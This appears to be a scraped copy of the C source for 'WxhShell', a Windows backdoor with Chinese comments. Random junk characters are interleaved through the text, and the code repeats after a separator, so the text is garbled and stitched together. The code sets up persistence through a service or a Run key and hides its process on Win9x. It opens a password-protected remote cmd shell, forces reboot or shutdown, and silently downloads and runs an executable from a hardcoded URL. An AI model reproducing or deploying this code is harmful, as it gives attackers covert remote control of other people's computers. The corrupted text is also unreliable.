am3V9"\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uht(3 $vz_%Y HANDLE hProcess; OW?uZ<z PROCESS_BASIC_INFORMATION pbi; `..EQBM z_'dRw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \G]K,TG if(NULL == hInst ) return 0; bKTqX[ = ]Kof sU_{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p1C_`f N, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q:kwQg:~ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g^qz&;R] .iN-4"_j1 if (!NtQueryInformationProcess) return 0; vs*>onCf e<kpcF5{\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XadG\_?t` if(!hProcess) return 0; .[#xQ=9` K6ciqwUO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YcPKM@xo -?[O"D"c CloseHandle(hProcess); Tq.MubaO $ V3n~.= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )gL& if(hProcess==NULL) return 0;
xAeZ7. Q& xP XoJN HMODULE hMod; H^ESAs6 char procName[255]; ',:3>{9 unsigned long cbNeeded; XC
:;Rq'j 3/SfUfWo if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KsZ@kTs NJ.rv CloseHandle(hProcess); }klE0<W|5\ N `J:^,H if(strstr(procName,"services")) return 1; // 以服务启动 L00Sp#$\ MiRibHXI, return 0; // 注册表启动 <WO&$& } pM1=UF od;Bb // 主模块 d&O'r[S int StartWxhshell(LPSTR lpCmdLine) -7&^jP\, { ?T tQZ SOCKET wsl; dl7Riw-J BOOL val=TRUE; Q]yV:7 int port=0; wgC??Be;ut struct sockaddr_in door; lp IteZw: )e@01l if(wscfg.ws_autoins) Install(); #FrwfJOV C3&17O6 port=atoi(lpCmdLine); "bv,I-\ x8\E~6`, if(port<=0) port=wscfg.ws_port; xgZV0!% n ;Ql=4 WSADATA data; Gw{Gt]liq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b #o}=m le
"JW/BD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }IxY(`:qs setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7}. #Z door.sin_family = AF_INET; >1#DPU(g door.sin_addr.s_addr = inet_addr("127.0.0.1"); yBpW#1= door.sin_port = htons(port); $q4 XcIX 7 67Af} >Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )->-~E}p9 closesocket(wsl); j<`I\Pmv return 1; Ukk-(gjX } UchALR^5 <B|n<R<? if(listen(wsl,2) == INVALID_SOCKET) { Z!q2F%02FO closesocket(wsl); AAIyr703cQ return 1; ;t.SiA } hNu>s Wxhshell(wsl); WZ-4^WM=! WSACleanup(); DDqC}l_ qat45O4A1 return 0; {hW
+^ ~9`^72 } gb!@OZ c f;@b
a[ // 以NT服务方式启动 u|_ITwk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SX1Fyy6
w { T! &[ DWORD status = 0; rahHJp.Ws DWORD specificError = 0xfffffff; .{'Uvn Im0+`9Jw serviceStatus.dwServiceType = SERVICE_WIN32; a'*5PaXU@/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; l<0[ K( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C,sD?PcSi+ serviceStatus.dwWin32ExitCode = 0; 2n-Tpay0 serviceStatus.dwServiceSpecificExitCode = 0; ,H#qgnp serviceStatus.dwCheckPoint = 0; SK2J`* serviceStatus.dwWaitHint = 0; F^ %{
; w@gl hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `? 9]' if (hServiceStatusHandle==0) return; Z9;nC zHm qd#(`%_/ status = GetLastError(); ]yj4~_&O if (status!=NO_ERROR)
s+y'<88 { (Fbm9(q$d serviceStatus.dwCurrentState = SERVICE_STOPPED; } K+Q9<~u serviceStatus.dwCheckPoint = 0; hJ$C%1; serviceStatus.dwWaitHint = 0; E :' serviceStatus.dwWin32ExitCode = status; dy8In% serviceStatus.dwServiceSpecificExitCode = specificError; L.I}-n SetServiceStatus(hServiceStatusHandle, &serviceStatus); 34++Rr [G return; Mc#O+'](f } vV:MS O'r WwCK K serviceStatus.dwCurrentState = SERVICE_RUNNING; LX(iuf+l serviceStatus.dwCheckPoint = 0; -Y
6.?z serviceStatus.dwWaitHint = 0; 8JjU 9# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^t/'dfF } `a/PIc" 1drqWI~ // 处理NT服务事件,比如:启动、停止 web8QzLLB VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 o { MQbNWUi switch(fdwControl) ..Uw8u/ { 2]_4&mU case SERVICE_CONTROL_STOP: pjmGzK serviceStatus.dwWin32ExitCode = 0; }LHT#{+x serviceStatus.dwCurrentState = SERVICE_STOPPED; \Z6gXO_ serviceStatus.dwCheckPoint = 0; !S >|Qh serviceStatus.dwWaitHint = 0; ziB]S@U { N18diP[C SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nw3I } mvL0F%\.\ return; =yhn8t7@] case SERVICE_CONTROL_PAUSE: N,sqr k] serviceStatus.dwCurrentState = SERVICE_PAUSED; OH!$5FEc break; vxzf[ case SERVICE_CONTROL_CONTINUE: d<|lLNS serviceStatus.dwCurrentState = SERVICE_RUNNING; cc2 oFn break; H>X\C;X[
case SERVICE_CONTROL_INTERROGATE: Jegx[*O>b break; yG4LQE }; C9z~)aL}7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Hyyq- } vhE}{ED p0y0T|H^ // 标准应用程序主函数 m|e*Jc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G\,A> mT/P { uz#eO|z@o ;*37ta // 获取操作系统版本 q _T?G e OsIsNt=GetOsVer(); {Y@-*pL] GetModuleFileName(NULL,ExeFile,MAX_PATH); hI>rtaY_ B;D:9K // 从命令行安装 hk lO:,` if(strpbrk(lpCmdLine,"iI")) Install(); nX.s h dx?njR // 下载执行文件 r3BDq if(wscfg.ws_downexe) { ~D`oP/6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S'%cf7Z WinExec(wscfg.ws_filenam,SW_HIDE); t\|K" } asmW
W8lz abJ@>7V if(!OsIsNt) { 3qxG?G N // 如果时win9x,隐藏进程并且设置为注册表启动 jFPE>F7-M HideProc(); }JpslY*aS StartWxhshell(lpCmdLine); OCOO02Wq1 } mb*h73{{ else +N(YR3 if(StartFromService()) thm3JfQt // 以服务方式启动 1A/c/iC StartServiceCtrlDispatcher(DispatchTable); ncw?; else I$6
f.W // 普通方式启动 :9rhv{6Wp StartWxhshell(lpCmdLine); ubN"(F:!-S SU#P.y18% return 0; <
jocfTBk } .^`a6>EQ)| ,d [b"]Zy O3w_vm' ZTPOD.:# =========================================== }Cq9{0by?a :'=~/GR Dxa)7dA| T.m)c%]^/ I;11j D -+)M8bt " @|UIV C+#;L+$Gi #include <stdio.h> kO`3ENN #include <string.h> k.%W8C<Pa #include <windows.h> 1KIq$lG{ E #include <winsock2.h> zs]/Y2 #include <winsvc.h> }A'<?d8
#include <urlmon.h> fF-\TW DneSzqO"o #pragma comment (lib, "Ws2_32.lib") vL=--# #pragma comment (lib, "urlmon.lib") 6`5
@E\"E #ZnX6=;X #define MAX_USER 100 // 最大客户端连接数
xV 1Z&l #define BUF_SOCK 200 // sock buffer )Fr;'JYC1S #define KEY_BUFF 255 // 输入 buffer ^B6i6]Pd=9 \|>`z,; #define REBOOT 0 // 重启 a^}P_hg}- #define SHUTDOWN 1 // 关机 J0*]6oD! Nec(^|[ #define DEF_PORT 5000 // 监听端口 :_YG/0%I a$ ! {Tob2 #define REG_LEN 16 // 注册表键长度 % x*Ec[l
#define SVC_LEN 80 // NT服务名长度 3ws(uF9$ wyA(}iSq // 从dll定义API ~G^}2#5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QB|fFj58u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .lF\b A| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =wR]X*Pan typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'hi\98y :iNAXy // wxhshell配置信息 5iI3u 7Mn1 struct WSCFG { $Ex 9 int ws_port; // 监听端口 ]pP2c[; char ws_passstr[REG_LEN]; // 口令 16> >4U:Y int ws_autoins; // 安装标记, 1=yes 0=no 674oL, char ws_regname[REG_LEN]; // 注册表键名 d|?(c~ char ws_svcname[REG_LEN]; // 服务名 >8fz ?A char ws_svcdisp[SVC_LEN]; // 服务显示名 L9YwOSb. char ws_svcdesc[SVC_LEN]; // 服务描述信息 k| cI! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2=,Sz1`t int ws_downexe; // 下载执行标记, 1=yes 0=no [oN> : char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I7z]%Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W*DIW;8p ZM^;%( }; T[[ 8OtUY}R // default Wxhshell configuration WT!\X["FI$ struct WSCFG wscfg={DEF_PORT, |tJ%:`DGw "xuhuanlingzhe", #`L}. 1, &eS70hq "Wxhshell", 6'*Uo:] "Wxhshell", |>}0? '/] "WxhShell Service", WKJL<
D ]: "Wrsky Windows CmdShell Service", }nY^T&?` "Please Input Your Password: ", f]A6Mx6 1, ST8/
;S#c
"http://www.wrsky.com/wxhshell.exe", @]"9EW
0 "Wxhshell.exe" lgqL)^8A }; j}.J$RtW1f `8.32@rUB. // 消息定义模块 42LXL*-4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j.N\U#3KK char *msg_ws_prompt="\n\r? for help\n\r#>"; 8*PAgPj a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hSKH#NS char *msg_ws_ext="\n\rExit."; N u2]~W& char *msg_ws_end="\n\rQuit."; /Vd#q)b%T char *msg_ws_boot="\n\rReboot..."; 1Da [!^u,D char *msg_ws_poff="\n\rShutdown..."; 'U{:
zBh char *msg_ws_down="\n\rSave to "; z*~PYAt m"7 R
4O char *msg_ws_err="\n\rErr!"; Y6%OV?}v! char *msg_ws_ok="\n\rOK!"; @
h`Zn1; H_=[~mJ char ExeFile[MAX_PATH]; NEou2y+} int nUser = 0; qVe6RpS HANDLE handles[MAX_USER]; 4NR5?s int OsIsNt; 5a|m}2IX 8lGgp&ey SERVICE_STATUS serviceStatus; (Dh;=xG SERVICE_STATUS_HANDLE hServiceStatusHandle; S!!\!w>N 2/4x]i
H* // 函数声明 .'mC3E+$ int Install(void); F20-!b int Uninstall(void); .-~%w int DownloadFile(char *sURL, SOCKET wsh); $#JVI: int Boot(int flag); *]{I\rX void HideProc(void); 78J.~v/ int GetOsVer(void); skx=w<YO6] int Wxhshell(SOCKET wsl); 1nTaKK
q void TalkWithClient(void *cs); p}|wO&4h int CmdShell(SOCKET sock); vfTG*jG int StartFromService(void); la|l9N^, int StartWxhshell(LPSTR lpCmdLine); ?[/,*Q% ];~[Olc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (0m$W< VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2LH;d`H[0 e.ym7L]$O // 数据结构和表定义 Wy>\KrA1 SERVICE_TABLE_ENTRY DispatchTable[] = E/P53CD { r_sl~^* : {wscfg.ws_svcname, NTServiceMain}, 7^ {hn_%; {NULL, NULL} #I~dv{RX }; PH%gX`N WM
)g(i~( // 自我安装 QR$sIu@% int Install(void) :p)9Heu
{ cE>/iZc char svExeFile[MAX_PATH]; }e=GvWGa HKEY key; Pc4cSw#5 strcpy(svExeFile,ExeFile); 1gej$G@ J7^T!7V. // 如果是win9x系统,修改注册表设为自启动 xQ
3u if(!OsIsNt) { t\d;}@bl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M]TVaN$v# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c
O>:n RegCloseKey(key); 6@ ^`-N; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pYUkd!K" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .+o> RegCloseKey(key); S,v >*AF return 0; 8B+^vF
} _H<OfAO } J$*["y`+ } `2,_"9Z( else { J,KTc'[ -mo
'
$1 // 如果是NT以上系统,安装为系统服务 %)ov,p| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T\CQ if (schSCManager!=0) @Hdg-f>y] { > 0)`uJ SC_HANDLE schService = CreateService VZbIU[5 ( ?Cfp=85ea! schSCManager, UzHhU*nW wscfg.ws_svcname, Pm;*Jv% wscfg.ws_svcdisp, p: SERVICE_ALL_ACCESS, F
) ~pw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QnLgP7Ft SERVICE_AUTO_START, Z*"t]L SERVICE_ERROR_NORMAL, TiEJyd`P svExeFile, jAHn`Bxz NULL, _?LI0iIFx NULL, yZaDNc9' NULL, 0%j;yzQ< NULL, }U1shG[ NULL Qh%vh;|^ ); jN>UW}? if (schService!=0) Y,}43a0A { J
uKaRR~ CloseServiceHandle(schService); ,?~,"IQyi[ CloseServiceHandle(schSCManager); pR>QIZq<gT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #N}}8RL strcat(svExeFile,wscfg.ws_svcname); sswAI|6ou if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5g7}A` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2DdLqZY# RegCloseKey(key); Cms"OkN return 0; 8^i,M^f^{ } S9055`v5 } #wuE30d CloseServiceHandle(schSCManager); g~u!,Zc } *X5LyO3-gP } |q)Q<%VS' A~SSu.L@ return 1; Mn;CG'FA } c4W"CD;D vAxtNRS // 自我卸载 aKr4E3` int Uninstall(void) [c )\?MWW { m]pvJJ@ HKEY key; <QLj6#d7Y )@M|YM1+ if(!OsIsNt) { RM$S|y{L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,1h(k<- RegDeleteValue(key,wscfg.ws_regname); c{ (%+ RegCloseKey(key); rn*VL(Yd( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <WkLwP3^ RegDeleteValue(key,wscfg.ws_regname); 4yy
yXj RegCloseKey(key); :\We =oX return 0; S@-X?Lu } YP97D n } ]HT>-Ba;{h } o:ob1G[p% else { nwH|Hs riU 1uzfV) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sM[c\Z] if (schSCManager!=0) t2<(by! { J3^Ir [ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xF0*q if (schService!=0) =J\7(0Dz4t { Mt0|`=64 if(DeleteService(schService)!=0) { v>l?d27R CloseServiceHandle(schService); [C\?}.+v CloseServiceHandle(schSCManager); mt7:`- return 0; :7*\|2zA } r${a
S@F CloseServiceHandle(schService); obGSc)?j } {
)K(}~VD CloseServiceHandle(schSCManager); m!if_Iq } K?WqAVK } .<hv&t
UkQocZdZ return 1; a)b@en;v } qIp`'.#m Yb*}2 // 从指定url下载文件 Xu0*sQK int DownloadFile(char *sURL, SOCKET wsh) Hq8.O/Y"= { G9Ezm*I;: HRESULT hr; ST.W{:X char seps[]= "/"; GV/FK{v5 char *token; RzRLrfV char *file; ' 'N@ <| char myURL[MAX_PATH]; j+seJg<_ char myFILE[MAX_PATH]; )I_I?e af{K4:I strcpy(myURL,sURL);
1Btf)y' token=strtok(myURL,seps); G&-h,"yo^ while(token!=NULL) Stpho4+/y { ) 'KHUa9 file=token; Uy=eHwU?J token=strtok(NULL,seps); "w1jr 6" } <u\G&cd_tA .=S{ GetCurrentDirectory(MAX_PATH,myFILE); )vzT\dQ| strcat(myFILE, "\\"); @"0qS:s]X strcat(myFILE, file); qB`P7!VN^] send(wsh,myFILE,strlen(myFILE),0); i"@?eq#h send(wsh,"...",3,0); V;=T~K|)> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5E8PbV-l if(hr==S_OK) zwS'AN'A return 0; g!UM8I-$
else J4; ".Y= return 1; uOx$@1v, !j@ 8:j0WY } q\<vCKI-^ !)]3@$# // 系统电源模块 DJ.Ct4 int Boot(int flag) g(Nf.hko { 6(=:j"w0 HANDLE hToken; TvR2lP TOKEN_PRIVILEGES tkp; 8wd2\J,] gS ]'^Sr if(OsIsNt) { ),eiJblH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B~IOM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fA^ O tkp.PrivilegeCount = 1; M?o`tWLhF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =O<BMq{d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vPi+8) if(flag==REBOOT) { EUgs2Fsb3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VTdZ&%@
return 0; ?{V[bm } |r%P.f:y{X else { ~+Y;jAdU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $- L)>" return 0; s*@.qN } w;"'l]W } f &|SGD* else { 5P4>xv[ if(flag==REBOOT) { CT : ac64 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |bh:x{h return 0; -e ya$C } 4^5s\f B else { {+MMqJCa if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \BDNF<_ return 0; ]_h"2| } h4CB1K } aw`mB,5U 2iu;7/ return 1; <fxYTd<#D[ } ^]kDYhe*Y +^.(3Aw // win9x进程隐藏模块 q0}LfXql8 void HideProc(void) LYKepk { sfLBi~*j 8c#*T%Vf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2r[,w] if ( hKernel != NULL ) UkUdpZ.[il { C`ok{SNtUy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %<klz)!t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Y(<W_{/ FreeLibrary(hKernel); lk}x;4]Z } CH2o[& Msf yIB return; zy.Ok 49 } XjC+kH $]9d((u4 // 获取操作系统版本 I'!KWpYJT int GetOsVer(void) _%x|,vo`( { {5*5tCIt OSVERSIONINFO winfo; n\QG-?%Pi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CA3.fu3(p GetVersionEx(&winfo); 1\BECP+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rpd3Rp return 1; 22GtTENd1h else gaJS6*P# return 0; h)w<{/p( } _Nd\Cm 79Iz,_ // 客户端句柄模块 Eb*DP_ int Wxhshell(SOCKET wsl) kmf4ax
h1 { 8=$@azG SOCKET wsh; eI@O9<.& struct sockaddr_in client; ]}9EBf DWORD myID; 5d)G30 (Az^st/_ while(nUser<MAX_USER) X(8]9 { 2/GH5b( int nSize=sizeof(client); 4CDmq[AVS[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qr/?tMALc if(wsh==INVALID_SOCKET) return 1; Yy&0b(m U 2$jY_{B+x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZnQnv@{8l if(handles[nUser]==0) 6Cibc.vt closesocket(wsh); dM
QnN[d6 else 4m~\S)ad nUser++; Axr'zc } !nu#r$K( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' _N > )/BKN` , return 0; 1vobfZ-w9 } Y}0 - & /%.K`BMN // 关闭 socket Y.-i ;Mmu void CloseIt(SOCKET wsh) c;j]/R$i { [ML4<Eb+x closesocket(wsh); ?)9 6YX' nUser--; Dj[D|%9a ExitThread(0); M+Dkn3bx } nkpQM$FW $XJe) // 客户端请求句柄 |/q *Fg[f void TalkWithClient(void *cs) L)Kn8 { PoC24#vS k(s3~S2h SOCKET wsh=(SOCKET)cs; HzWZQ6o char pwd[SVC_LEN]; \PL92HV char cmd[KEY_BUFF]; 0ya_[\
char chr[1]; 2-8<uU y int i,j; #ujcT%1G R(csJ4F while (nUser < MAX_USER) { B-o"Y'iXs b+{,c@1rd if(wscfg.ws_passstr) { ;]p#PNQ0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2(UT;PSI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k%hif8y //ZeroMemory(pwd,KEY_BUFF); /H\ZCIu/7 i=0; o'W &gkb9 while(i<SVC_LEN) { $?0<rvGJ keX0br7u_ // 设置超时 ~,ac{%8x fd_set FdRead; %e3lb<sv6 struct timeval TimeOut; +^`c"qJo FD_ZERO(&FdRead); 3?2;z+cz*u FD_SET(wsh,&FdRead); Uq"RyvkpP TimeOut.tv_sec=8; B
[03,zVf TimeOut.tv_usec=0; w2 CgEJ% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K5!k06;s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o8bVz2E wZ29/{, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 64[j:t=N pwd=chr[0]; 7n%QP if(chr[0]==0xd || chr[0]==0xa) { 5Pn$@3 pwd=0; (xq25;|Y break; YckexfL } d!,V"*S i++; l'c|I
&Y] } V<+d o|@F ([s2F%S`@ // 如果是非法用户,关闭 socket >&p_G0- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #t9&X8:U } IA''-+9 $vicxE~-E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w!%Bc] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eml(F yh} V u while(1) { aMT&}3 9Lv`3J^~ ZeroMemory(cmd,KEY_BUFF); 7
pp[kv;!G b5KX` r // 自动支持客户端 telnet标准 GT`:3L j=0; }KJ/WyYW while(j<KEY_BUFF) { GN(PH/fO9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )R,*>-OPJL cmd[j]=chr[0]; s}UPe)Vu if(chr[0]==0xa || chr[0]==0xd) { 2g|+*.*` cmd[j]=0; Gu9Ap<>! break; ZCV&v47\p_ } c[ga@Vy j++; ~u7a50 } l=xy_ TCf Iy\K&)5? // 下载文件 Xq,{)G%9nM if(strstr(cmd,"http://")) { h2K1|PUKl[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); gy,B+~p if(DownloadFile(cmd,wsh)) qJUu9[3'm send(wsh,msg_ws_err,strlen(msg_ws_err),0); (7&[!PS else %5$yz| : send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E2 #XXc } kx*=1AfU+Y else { vxY7/ _] [Nsv]Yz switch(cmd[0]) { HP"5*C5D *b~$|H-\ // 帮助 p e |k}{ case '?': { rWAJL9M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,"5Fw4G6* break; O~Pbu[C } ?tg(X[h{S // 安装 7l%O:M(\ case 'i': { (?;Fnq if(Install()) `+{|k)2B send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0Irf"Ab else ^0c:ro send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=N[g break; 5 o'V} } 4ijoAW3A^ // 卸载 cea%M3 case 'r': { 8?J\ if(Uninstall()) yIOoVi\m send(wsh,msg_ws_err,strlen(msg_ws_err),0); G"3D"7fa else
UcKpid send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [C.Pzo break; ;WWUxrWif } VYMs`d[ // 显示 wxhshell 所在路径 c"H*9u: case 'p': { gfR B char svExeFile[MAX_PATH]; WfL5.& strcpy(svExeFile,"\n\r"); u#ag|b/C: strcat(svExeFile,ExeFile); d*4fl. send(wsh,svExeFile,strlen(svExeFile),0); T\NvN&h- break; 'OK)[\ } t9;yyZh // 重启 Yx>=(B case 'b': { 7`thM/fN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c>,|[zP{ if(Boot(REBOOT)) BRhAL1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i7iv else { gk1I1)p closesocket(wsh); YP5V~-O/ ExitThread(0); .r[kNh@
b% } 8fY1~\G:\ break; [f!sBJ! } OjcxD5"v9 // 关机 =I-SQI8 case 'd': {
:RBp send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NffZttN if(Boot(SHUTDOWN)) {|9x*I send(wsh,msg_ws_err,strlen(msg_ws_err),0); q$Gf9&ZO else { :U$<h closesocket(wsh); Lp`q[Z* ExitThread(0); hB]4Tn5H } b%z4u0 break; )#%k/4(Y } /{gCf // 获取shell /4}{SE case 's': { 07:CcT CmdShell(wsh); oj/,vO:QT closesocket(wsh); _VFl.U, ExitThread(0); 0O5(\8jM break; 2^'|[*$k1@ } .v?Ir) // 退出 \#?n'qyj case 'x': { !yI , ~`Z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NifzZEX CloseIt(wsh); ]>M{Qn* break; tsaf|xe } ^rO3B?_ // 离开 0pYO-@E case 'q': { 2m7Z:b send(wsh,msg_ws_end,strlen(msg_ws_end),0); 38ChS.( closesocket(wsh); %9cu(yc*} WSACleanup(); 8q58H[/c exit(1); Oc8]A=M12 break; r+r-[z D( } kmXpj3 } EZlcpCS } )u ) ]#z jq#uBU% // 提示信息 i"V2=jTeBv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @F%H 1 } X458%)G!(K } cOkjeHs
5 %eW[`uyV return; A2LqBirkl } wDJbax? TY6
D.ikA // shell模块句柄 {ULy B$\- int CmdShell(SOCKET sock) "^_9t'0 { lv\C(^mGq STARTUPINFO si; nK=-SQ ZeroMemory(&si,sizeof(si)); f_y+B]?'M si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G9"2h
\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x;w&JS1V PROCESS_INFORMATION ProcessInfo; *8ykE char cmdline[]="cmd"; X2^`Znq9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nKPvAe( return 0; mMo<C_~w& } ~Y]*TP iU]py // 自身启动模式 s
wgn( - int StartFromService(void) G$FNofQx { i]oSVXx4WC typedef struct QbA+\ { )xwWig. DWORD ExitStatus; HMDQEd; DWORD PebBaseAddress; 7v\K,P8 DWORD AffinityMask; ?ra6Lo DWORD BasePriority; unn2MP' ULONG UniqueProcessId; \@6PA ULONG InheritedFromUniqueProcessId; _o'_ z ] } PROCESS_BASIC_INFORMATION; l;_zXN ]"? +R+ PROCNTQSIP NtQueryInformationProcess; 2@ 4^ 81 lrQ +G@# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PO9<g%qTf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; doM}vh)6 $$QbcnOf$ HANDLE hProcess;
|_7nvck PROCESS_BASIC_INFORMATION pbi; iX
;E"ov] Eo)w f=rE9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2' fg if(NULL == hInst ) return 0; rWk4)+Tk @w:6m&KL9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NgH"jg- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *p)1c_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p<%76H
A tS!|#h-J if (!NtQueryInformationProcess) return 0; RDX".'`(=
